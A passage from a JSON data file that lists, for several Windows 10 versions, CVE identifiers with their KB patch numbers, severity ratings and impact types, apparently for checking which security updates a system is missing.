Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062560","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2016-3237","kb":"3194798","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3189866","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062560","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-0213","kb":"4038788","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4016871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041676","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041676","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048954","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053580","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025342","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0743","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074592","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343885","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093107","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467696","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103731","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487020","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493474","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503279","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-0213","kb":"4038788","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4016871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041676","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041676","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048954","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053580","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025342","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0743","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074592","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343885","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093107","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467696","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103731","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487020","severity":"Important","impact":"Elevation of 